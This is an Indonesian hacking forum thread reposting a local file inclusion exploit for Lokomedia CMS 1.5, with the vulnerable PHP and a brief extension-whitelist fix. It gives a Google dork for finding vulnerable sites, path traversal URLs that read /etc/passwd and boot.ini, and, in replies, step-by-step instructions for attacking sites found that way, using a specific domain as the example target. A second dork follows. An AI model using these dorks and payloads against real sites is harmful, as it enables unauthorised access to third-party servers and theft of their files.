Lokomedia CMS 1.5 Local file Inclution

[wenkhairu]

Code:

# Exploit Title    : Lokomedia CMS 1.5 Local file Inclution
# Google Dork      : "2011 Powered By Lokomedia"
# Date        : 2011/03/04
# Author        : unkn0w
# Webiste        : http://devilzc0de.org
# Software Link    : http://bukulokomedia.com/lokomedia-1.5.rar
# Version        : 1.5 (posible to all version)
# Tested on    : windows XP, windows 7, ubuntu 10.10

Code:

Gratz to All devilzc0de crew & intern0t crew & indonesia

Code:

Exploit & POC
-------------------
http://host/downlot.php?file=[LFI]
http://host/downlot.php?file=../../../../../boot.ini
http://host/downlot.php?file=../../../../../etc/passwd

PHP Code:

#bug on downlot.php
$filename = $_GET['file'];# -> [ not filtered ] 
$file_extension = strtolower(substr(strrchr($filename,"."),1)); #-> [ tidak memeriksa jenis extensi yang asli ]
if ($file_extension=='php') #-> [ hanya string php (bukan mime), kemungkinan bisa di bypass dengan null byte %00 ] 


PHP Code:

#simple way to fix the bug
$filetipe = array('pdf','rar','zip','doc','png','jpeg','jpg','ppt','exe');
if(!in_array($file_extension,$filetipe)){
    // your code
} 


[badwolves1986 [RJ]]

ajibbbb mantap bang tak cobain dulu

[od3yz]

wah kaka dewa post, kaka,izin pelajari kaka
wenk wank wonk samar emang ajiippppp

[selfdefense]

mantap mastah wenk.. ijin nyimak dan..

ane mo nge patch web kampus ane euy.. soalnya pake loko juga..m

makasih.. smiley_beer

dewa ne

[1ngk4]

maaf cara gunaiinya bgaimna yah om

bisa kasih penjelasan secara sederhan ga om

[wenkhairu]

(04-04-2011 06:05 PM)1ngk4 Wrote:  maaf cara gunaiinya bgaimna yah om

bisa kasih penjelasan secara sederhan ga om

tinggal cari di google dengan dork "2011 By Lokomedia"

trus kalo dapet, masuk halaman downlot.php

misal ini webnya

Code:

http://nursanah.com

trus masuk ke halaman download

Code:

http://nursanah/downlot.php?file=belajar_cinta.zip

trus rubah urlnya jadi

Code:

http://nursanah/downlot.php?file=../../../../../etc/passwd

[Syamil007]

wah ini nih sumber ilmu.....
mangstab om....

[hakimoxz]

Quote:tinggal cari di google dengan dork "2011 By Lokomedia"

trus kalo dapet, masuk halaman downlot.php

misal ini webnya
Code:
http://nursanah.com

trus masuk ke halaman download
Code:
http://nursanah/downlot.php?file=belajar_cinta.zip

trus rubah urlnya jadi
Code:
http://nursanah/downlot.php?file=../../../../../etc/passwd

kalau bug ini apa dah lama ?
caranya apa sam?

Code:

allinurl:/media.php?module=berita